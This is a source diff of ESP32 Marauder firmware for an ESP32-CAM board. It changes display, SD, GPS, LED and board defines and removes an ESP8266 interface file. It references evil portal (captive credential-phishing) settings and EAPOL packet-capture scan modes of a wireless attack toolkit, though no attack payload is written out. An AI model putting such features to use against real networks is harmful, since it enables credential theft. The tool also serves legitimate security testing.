+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
+    #endif
+  
+    #ifdef MARAUDER_MINI
+      #define SCREEN_CHAR_WIDTH 40
+      #define TFT_MISO 19
+      #define TFT_MOSI 23
+      #define TFT_SCLK 18
+      #define TFT_CS 27
+      #define TFT_DC 26
+      #define TFT_RST 5
+      #define TFT_BL 32
+      #define TOUCH_CS 21
+      #define SD_CS 4
+
+      #define SCREEN_BUFFER
+
+      #define MAX_SCREEN_BUFFER 9
+
+      #define BANNER_TEXT_SIZE 1
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 128
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 128
+      #endif
+
+      #define CHAR_WIDTH 6
+      #define SCREEN_WIDTH TFT_WIDTH // Originally 240
+      #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_WIDTH
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX TFT_HEIGHT // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
     #endif
     #endif
 
 
-    #define CHAR_WIDTH 6
-    #define SCREEN_WIDTH TFT_WIDTH // Originally 240
-    #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_WIDTH
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX TFT_HEIGHT // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
   #endif
   #endif
   //// END DISPLAY DEFINITIONS
   //// END DISPLAY DEFINITIONS
 
 
@@ -339,64 +594,77 @@
     #define ICON_H 22
     #define ICON_H 22
     #define BUTTON_PADDING 10
     #define BUTTON_PADDING 10
   #endif
   #endif
+
+  #ifdef MARAUDER_M5STICKC
+    #define BANNER_TIME 50
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X (TFT_WIDTH/2) // Centre of key
+    #define KEY_Y (TFT_HEIGHT/5)
+    #define KEY_W TFT_HEIGHT // Width and height
+    #define KEY_H (TFT_HEIGHT/17)
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 10
+  #endif
   //// END MENU DEFINITIONS
   //// END MENU DEFINITIONS
 
 
   //// SD DEFINITIONS
   //// SD DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define SD_CS 12
-  #endif
+  #ifdef FLIPPER_ZERO_HAT
 
 
-  #ifdef MARAUDER_V6
-    #define SD_CS 12
-  #endif
+    #ifdef USE_FLIPPER_SD
+      #define WRITE_PACKETS_SERIAL
+    #endif
 
 
-  #ifdef MARAUDER_KIT
-    #define SD_CS 12
-  #endif
+  #elif defined(USE_SD)
 
 
-  #ifdef MARAUDER_MINI
-    #define SD_CS 4
-  #endif
+    #ifdef MARAUDER_V4
+      #define SD_CS 12
+    #endif
 
 
-  #ifdef MARAUDER_FLIPPER
-    #define SD_CS 10
-  #endif
+    #ifdef MARAUDER_V6
+      #define SD_CS 12
+    #endif
 
 
-  #ifdef ESP32_LDDB
-    #define SD_CS 4
-  #endif
+    #ifdef MARAUDER_KIT
+      #define SD_CS 12
+    #endif
 
 
-  #ifdef MARAUDER_DEV_BOARD_PRO
-    #define SD_CS 4
-  #endif
-  //// END SD DEFINITIONS
+    #ifdef MARAUDER_MINI
+      #define SD_CS 4
+    #endif
 
 
-  //// SCREEN STUFF
-  #ifdef MARAUDER_MINI
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_M5STICKC
+      #define SD_CS 10
+    #endif
 
 
-  #ifdef MARAUDER_V4
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_FLIPPER
+      #define SD_CS 10
+    #endif
 
 
-  #ifdef MARAUDER_V6
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef ESP32_LDDB
+      #define SD_CS 4
+    #endif
 
 
-  #ifdef MARAUDER_KIT
-    #define HAS_SCREEN
-    #define HAS_BT
-  #endif
+    #ifdef MARAUDER_DEV_BOARD_PRO
+      #define SD_CS 4
+    #endif
+
+    #ifdef XIAO_ESP32_S3
+      #define SD_CS 3
+    #endif
 
 
-  #ifdef GENERIC_ESP32
-    #define HAS_BT
   #endif
   #endif
+  //// END SD DEFINITIONS
 
 
+  //// SCREEN STUFF
   #ifndef HAS_SCREEN
   #ifndef HAS_SCREEN
+
     #define TFT_WHITE 0
     #define TFT_WHITE 0
     #define TFT_CYAN 0
     #define TFT_CYAN 0
     #define TFT_BLUE 0
     #define TFT_BLUE 0
@@ -416,17 +684,129 @@
     #include <LinkedList.h>
     #include <LinkedList.h>
     #include "SPIFFS.h"
     #include "SPIFFS.h"
     #include "Assets.h"
     #include "Assets.h"
+
   #endif
   #endif
   //// END SCREEN STUFF
   //// END SCREEN STUFF
 
 
+  //// MEMORY LOWER LIMIT STUFF
+  // These values are in bytes
+  #ifdef MARAUDER_M5STICKC
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_MINI)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_V4)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_V6)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_KIT)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(GENERIC_ESP32)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_FLIPPER)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(ESP32_LDDB)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(MARAUDER_DEV_BOARD_PRO)
+    #define MEM_LOWER_LIM 20000
+  #elif defined(XIAO_ESP32_S3)
+    #define MEM_LOWER_LIM 20000
+  #endif
+  //// END MEMORY LOWER LIMIT STUFF
+
   //// NEOPIXEL STUFF  
   //// NEOPIXEL STUFF  
-  #if defined(ESP32_LDDB)
-    #define PIN 17
+  #ifdef HAS_NEOPIXEL_LED
+    
+    #if defined(ESP32_LDDB)
+      #define PIN 17
+    #elif defined(MARAUDER_DEV_BOARD_PRO)
+      #define PIN 16
+    #else
+      #define PIN 25
+    #endif
+  
+  #endif
+  //// END NEOPIXEL STUFF
+
+  //// BOARD PIN OVERRIDES
+  #ifdef XIAO_ESP32_S3
+    #ifdef USE_FLIPPER_SD
+      #define XIAO_RX1 1
+      #define XIAO_TX1 2
+    #endif
+  #endif
+  //// END BOARD PIN OVERRIDES
+
+  //// EVIL PORTAL STUFF
+  #ifdef MARAUDER_M5STICKC
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_MINI)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_V4)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_V6)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(MARAUDER_KIT)
+    #define MAX_HTML_SIZE 11400
+  #elif defined(GENERIC_ESP32)
+    #define MAX_HTML_SIZE 20000
+  #elif defined(MARAUDER_FLIPPER)
+    #define MAX_HTML_SIZE 20000
+  #elif defined(ESP32_LDDB)
+    #define MAX_HTML_SIZE 20000
   #elif defined(MARAUDER_DEV_BOARD_PRO)
   #elif defined(MARAUDER_DEV_BOARD_PRO)
-    #define PIN 16
+    #define MAX_HTML_SIZE 20000
+  #elif defined(XIAO_ESP32_S3)
+    #define MAX_HTML_SIZE 20000
   #else
   #else
-    #define PIN 25
+    #define MAX_HTML_SIZE 20000
   #endif
   #endif
-  
+  //// END EVIL PORTAL STUFF
+
+  //// GPS STUFF
+  #ifdef HAS_GPS
+    #ifdef MARAUDER_V6
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_V4)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_KIT)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 4
+      #define GPS_RX 13
+      #define mac_history_len 512
+    #elif defined(MARAUDER_DEV_BOARD_PRO)
+      #define GPS_SERIAL_INDEX 2
+      #define GPS_TX 21
+      #define GPS_RX 17
+      #define mac_history_len 512
+    #elif defined(MARAUDER_FLIPPER)
+      #define GPS_SERIAL_INDEX 1
+      #define GPS_TX 9
+      #define GPS_RX 21
+      #define mac_history_len 512
+    #endif
+  #else
+    #define mac_history_len 512
+  #endif
+  //// END GPS STUFF
+
+  //// MARAUDER TITLE STUFF
+  #ifdef MARAUDER_V4
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_V6)
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_KIT)
+    #define MARAUDER_TITLE_BYTES 13578
+  #elif defined(MARAUDER_MINI)
+    #define MARAUDER_TITLE_BYTES 13578
+  #else
+    #define MARAUDER_TITLE_BYTES 13578
+  #endif
+  //// END MARAUDER TITLE STUFF
 
 
-#endif
+#endif

+ 190 - 90
esp32cam_marauder/esp32cam_marauder.ino

@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
 #endif
 #endif
 
 
 #include <WiFi.h>
 #include <WiFi.h>
+//#include "Web.h"
+#include "EvilPortal.h"
 #include <Wire.h>
 #include <Wire.h>
 #include "esp_wifi.h"
 #include "esp_wifi.h"
 #include "esp_wifi_types.h"
 #include "esp_wifi_types.h"
@@ -22,6 +24,10 @@ https://www.online-utility.org/image/convert/to/XBM
 #include "esp_system.h"
 #include "esp_system.h"
 #include <Arduino.h>
 #include <Arduino.h>
 
 
+#ifdef HAS_GPS
+  #include "GpsInterface.h"
+#endif
+
 #include "FS.h"                // SD Card ESP32
 #include "FS.h"                // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "esp_camera.h"
 #include "esp_camera.h"
@@ -51,54 +57,106 @@ https://www.online-utility.org/image/convert/to/XBM
 bool camera_initialized = false;
 bool camera_initialized = false;
 #include "Assets.h"
 #include "Assets.h"
 #include "WiFiScan.h"
 #include "WiFiScan.h"
-#include "SDInterface.h"
-#include "Web.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "Buffer.h"
 #include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
-#include "LedInterface.h"
-#include "esp_interface.h"
+
+#ifdef MARAUDER_FLIPPER
+  #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+  #include "xiaoLED.h"
+#else
+  #include "LedInterface.h"
+#endif
+
+//#include "esp_interface.h"
 #include "settings.h"
 #include "settings.h"
 #include "CommandLine.h"
 #include "CommandLine.h"
 #include "lang_var.h"
 #include "lang_var.h"
-#include "flipperLED.h"
+
+#ifdef HAS_BATTERY
+  #include "BatteryInterface.h"
+#endif
+
+//#ifdef HAS_TEMP_SENSOR
+//  #include "TemperatureInterface.h"
+//#endif
 
 
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   #include "Display.h"
   #include "Display.h"
   #include "MenuFunctions.h"
   #include "MenuFunctions.h"
-  #include "a32u4_interface.h"
+  //#include "a32u4_interface.h"
 #endif
 #endif
 
 
-#ifdef MARAUDER_MINI
+#ifdef HAS_BUTTONS
   #include <SwitchLib.h>
   #include <SwitchLib.h>
-  SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
-  SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
-  SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
-  SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
-  SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
+  
+  #if (U_BTN >= 0)
+    SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
+  #endif
+  #if (D_BTN >= 0)
+    SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
+  #endif
+  #if (L_BTN >= 0)
+    SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
+  #endif
+  #if (R_BTN >= 0)
+    SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
+  #endif
+  #if (C_BTN >= 0)
+    SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
+  #endif
+
 #endif
 #endif
 
 
 WiFiScan wifi_scan_obj;
 WiFiScan wifi_scan_obj;
-SDInterface sd_obj;
-Web web_obj;
+EvilPortal evil_portal_obj;
+//Web web_obj;
 Buffer buffer_obj;
 Buffer buffer_obj;
-BatteryInterface battery_obj;
-TemperatureInterface temp_obj;
-LedInterface led_obj;
-EspInterface esp_obj;
+//EspInterface esp_obj;
 Settings settings_obj;
 Settings settings_obj;
 CommandLine cli_obj;
 CommandLine cli_obj;
-flipperLED flipper_led;
+
+#ifdef HAS_GPS
+  GpsInterface gps_obj;
+#endif
+
+#ifdef HAS_BATTERY
+  BatteryInterface battery_obj;
+#endif
+
+//#ifdef HAS_TEMP_SENSOR
+//  TemperatureInterface temp_obj;
+//#endif
 
 
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   Display display_obj;
   Display display_obj;
   MenuFunctions menu_function_obj;
   MenuFunctions menu_function_obj;
-  A32u4Interface a32u4_obj;
+  //A32u4Interface a32u4_obj;
+#endif
+
+#ifdef HAS_SD
+  SDInterface sd_obj;
+#endif
+
+#ifdef MARAUDER_M5STICKC
+  AXP192 axp192_obj;
+#endif
+
+#ifdef MARAUDER_FLIPPER
+  flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+  xiaoLED xiao_led;
+#else
+  LedInterface led_obj;
 #endif
 #endif
 
 
 const String PROGMEM version_number = MARAUDER_VERSION;
 const String PROGMEM version_number = MARAUDER_VERSION;
 
 
-Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+#ifdef HAS_NEOPIXEL_LED
+  Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+#endif
 
 
 uint32_t currentTime  = 0;
 uint32_t currentTime  = 0;
 
 
@@ -130,6 +188,10 @@ void backlightOff() {
 
 
 void setup()
 void setup()
 {
 {
+  #ifdef MARAUDER_M5STICKC
+    axp192_obj.begin();
+  #endif
+  
   // Start with the flashlight off
   // Start with the flashlight off
   pinMode(4, OUTPUT);
   pinMode(4, OUTPUT);
   digitalWrite(4, LOW);
   digitalWrite(4, LOW);
@@ -169,10 +231,10 @@ void setup()
           for (;;)
           for (;;)
             morse_loop();
             morse_loop();
 
 
-        case 'e':  // Evil portal
+        /*case 'e':  // Evil portal
           evilportal_setup();
           evilportal_setup();
           for (;;)
           for (;;)
-            evilportal_loop();
+            evilportal_loop();*/
 
 
         case 'w':  // Marauder
         case 'w':  // Marauder
           goto continue_to_marauder;
           goto continue_to_marauder;
@@ -197,19 +259,28 @@ void setup()
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
     digitalWrite(TFT_CS, HIGH);
     digitalWrite(TFT_CS, HIGH);
   #endif
   #endif
-
-  /*pinMode(SD_CS, OUTPUT);
-
-  delay(10);
   
   
-  digitalWrite(SD_CS, HIGH);
+  /*#ifdef HAS_SD
+    pinMode(SD_CS, OUTPUT);
 
 
-  delay(10);*/
+    delay(10);
   
   
-  //Serial.begin(115200);
+    digitalWrite(SD_CS, HIGH);
+
+    delay(10);
+  #endif
+
+  Serial.begin(115200);*/
+
+  // Starts a second serial channel to stream the captured packets
   #ifdef WRITE_PACKETS_SERIAL
   #ifdef WRITE_PACKETS_SERIAL
-    // Starts a second serial channel to stream the captured packets
-    Serial1.begin(115200);
+    
+    #ifdef XIAO_ESP32_S3
+      Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
+    #else
+      Serial1.begin(115200);
+    #endif
+    
   #endif
   #endif
 
 
   //Serial.println("\n\nHello, World!\n");
   //Serial.println("\n\nHello, World!\n");
@@ -231,7 +302,11 @@ void setup()
 
 
   // Draw the title screen
   // Draw the title screen
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
-    display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
+    #ifndef MARAUDER_MINI
+      display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
+    #else
+      display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
+    #endif
   #endif
   #endif
 
 
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
@@ -267,10 +342,6 @@ void setup()
 
 
   settings_obj.begin();
   settings_obj.begin();
 
 
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.RunSetup();
-  #endif
-
   //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
   //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
   //if (settings_obj.loadSetting<bool>( "Force PMKID"))
   //if (settings_obj.loadSetting<bool>( "Force PMKID"))
   //  Serial.println("This is a test Force PMKID: true");
   //  Serial.println("This is a test Force PMKID: true");
@@ -287,7 +358,7 @@ void setup()
 
 
   #ifdef WRITE_PACKETS_SERIAL
   #ifdef WRITE_PACKETS_SERIAL
     buffer_obj = Buffer();
     buffer_obj = Buffer();
-  #else
+  #elif defined(HAS_SD)
     // Do some SD stuff
     // Do some SD stuff
     if(sd_obj.initSD()) {
     if(sd_obj.initSD()) {
       #ifdef HAS_SCREEN
       #ifdef HAS_SCREEN
@@ -301,24 +372,28 @@ void setup()
         display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
         display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
       #endif
       #endif
     }
     }
+  #else
+    return;
   #endif
   #endif
 
 
-  battery_obj.RunSetup();
-
+  #ifdef HAS_BATTERY
+    battery_obj.RunSetup();
+  #endif
+  
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[5]));
     display_obj.tft.println(F(text_table0[5]));
   #endif
   #endif
 
 
   // Temperature stuff
   // Temperature stuff
-  #ifndef MARAUDER_FLIPPER
-    temp_obj.RunSetup();
-  #endif
+  //#ifdef HAS_TEMP_SENSOR
+  //  temp_obj.RunSetup();
+  //#endif
 
 
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[6]));
     display_obj.tft.println(F(text_table0[6]));
   #endif
   #endif
 
 
-  #ifndef MARAUDER_FLIPPER
+  #ifdef HAS_BATTERY
     battery_obj.battery_level = battery_obj.getBatteryLevel();
     battery_obj.battery_level = battery_obj.getBatteryLevel();
   
   
 //    if (battery_obj.i2c_supported) {
 //    if (battery_obj.i2c_supported) {
@@ -329,7 +404,11 @@ void setup()
   #endif
   #endif
 
 
   // Do some LED stuff
   // Do some LED stuff
-  #ifndef MARAUDER_FLIPPER
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.RunSetup();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.RunSetup();
+  #else
     led_obj.RunSetup();
     led_obj.RunSetup();
   #endif
   #endif
 
 
@@ -339,6 +418,16 @@ void setup()
     delay(500);
     delay(500);
   #endif
   #endif
 
 
+  #ifdef HAS_GPS
+    gps_obj.begin();
+    #ifdef HAS_SCREEN
+      if (gps_obj.getGpsModuleStatus())
+        display_obj.tft.println("GPS Module connected");
+      else
+        display_obj.tft.println("GPS Module NOT connected");
+    #endif
+  #endif
+
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
     display_obj.tft.println(F(text_table0[8]));
     display_obj.tft.println(F(text_table0[8]));
   
   
@@ -357,7 +446,7 @@ void setup()
   //Serial.println(F("       By: justcallmekoko\n"));
   //Serial.println(F("       By: justcallmekoko\n"));
   //Serial.println(F("--------------------------------\n\n"));
   //Serial.println(F("--------------------------------\n\n"));
   
   
-  Serial.println("CLI Ready");
+  Serial.println(F("CLI Ready"));
   cli_obj.RunSetup();
   cli_obj.RunSetup();
 }
 }
 
 
@@ -372,65 +461,76 @@ void loop()
   #endif
   #endif
 
 
   // Update all of our objects
   // Update all of our objects
-  #ifdef HAS_SCREEN
+  /*#ifdef HAS_SCREEN
     bool do_draw = display_obj.draw_tft;
     bool do_draw = display_obj.draw_tft;
   #else
   #else
     bool do_draw = false;
     bool do_draw = false;
-  #endif
+  #endif*/
   
   
-  if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
-  {
-    cli_obj.main(currentTime);
-    #ifdef HAS_SCREEN
-      display_obj.main(wifi_scan_obj.currentScanMode);
-    #endif
-    wifi_scan_obj.main(currentTime);
+  //if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
+  //{
+  cli_obj.main(currentTime);
+  #ifdef HAS_SCREEN
+    display_obj.main(wifi_scan_obj.currentScanMode);
+  #endif
+  wifi_scan_obj.main(currentTime);
+  //evil_portal_obj.main(wifi_scan_obj.currentScanMode);
 
 
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.forceSaveSerial();
-    #else
-      sd_obj.main();
-    #endif
+  #ifdef HAS_GPS
+    gps_obj.main();
+  #endif
+  
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.forceSaveSerial();
+  #elif defined(HAS_SD)
+    sd_obj.main();
+  #else
+    return;
+  #endif
 
 
-    #ifndef MARAUDER_FLIPPER
-      battery_obj.main(currentTime);
-      temp_obj.main(currentTime);
-    #endif
-    settings_obj.main(currentTime);
-    if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
-        (mini)) {
-      #ifdef HAS_SCREEN
-        menu_function_obj.main(currentTime);
-      #endif
-      #ifndef MARAUDER_FLIPPER
-        led_obj.main(currentTime);
-      #endif
-      //cli_obj.main(currentTime);
-    }
-      if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
-        web_obj.main();
+  #ifdef HAS_BATTERY
+    battery_obj.main(currentTime);
+    //temp_obj.main(currentTime);
+  #endif
+  settings_obj.main(currentTime);
+  if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
+      (mini)) {
     #ifdef HAS_SCREEN
     #ifdef HAS_SCREEN
-      delay(1);
-    #else
-      delay(50);
+      menu_function_obj.main(currentTime);
     #endif
     #endif
+    //cli_obj.main(currentTime);
   }
   }
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.main();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.main();
+  #else
+    led_obj.main(currentTime);
+  #endif
+
+  //if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
+  //  web_obj.main();
   #ifdef HAS_SCREEN
   #ifdef HAS_SCREEN
-    else if ((display_obj.draw_tft) &&
-             (wifi_scan_obj.currentScanMode != OTA_UPDATE))
-    {
-      display_obj.drawStylus();
-    }
+    delay(1);
+  #else
+    delay(50);
   #endif
   #endif
-  else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
+  //}
+  /*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
     #ifdef HAS_SCREEN
     #ifdef HAS_SCREEN
       display_obj.main(wifi_scan_obj.currentScanMode);
       display_obj.main(wifi_scan_obj.currentScanMode);
       menu_function_obj.main(currentTime);
       menu_function_obj.main(currentTime);
     #endif
     #endif
-    #ifndef MARAUDER_FLIPPER
+
+    #ifdef MARAUDER_FLIPPER
+      flipper_led.main();
+    #elif defined(XIAO_ESP32_S3)
+      xiao_led.main();
+    #else
       led_obj.main(currentTime);
       led_obj.main(currentTime);
     #endif
     #endif
+    
     //cli_obj.main(currentTime);
     //cli_obj.main(currentTime);
     delay(1);
     delay(1);
-  }
+  }*/
 }
 }

+ 0 - 135
esp32cam_marauder/esp_interface.cpp

@@ -1,135 +0,0 @@
-#include "esp_interface.h"
-
-HardwareSerial MySerial(1);
-
-void EspInterface::begin() {
-  pinMode(ESP_RST, OUTPUT);
-  pinMode(ESP_ZERO, OUTPUT);
-
-  delay(100);
-
-  digitalWrite(ESP_ZERO, HIGH);
-
-  Serial.println("Checking for ESP8266...");
-
-  MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
-
-  delay(100);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println("Checking for ESP8266...");
-  #endif
-
-  this->bootRunMode();
-
-  delay(500);
-
-  while (MySerial.available())
-    MySerial.read();
-
-  MySerial.write("PING");
-
-  delay(2000);
-
-  String display_string = "";
-
-  while (MySerial.available()) {
-    display_string.concat((char)MySerial.read());
-  }
-
-  display_string.trim();
-
-  Serial.println("\nDisplay string: " + (String)display_string);
-  
-  if (display_string == "ESP8266 Pong") {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.println("ESP8266 Found!");
-    this->supported = true;
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-
-  this->initTime = millis();
-}
-
-void EspInterface::RunUpdate() {
-  this->bootProgramMode();
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(true);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_GREEN);
-  
-    display_obj.tft.println("Waiting for serial data...");
-  
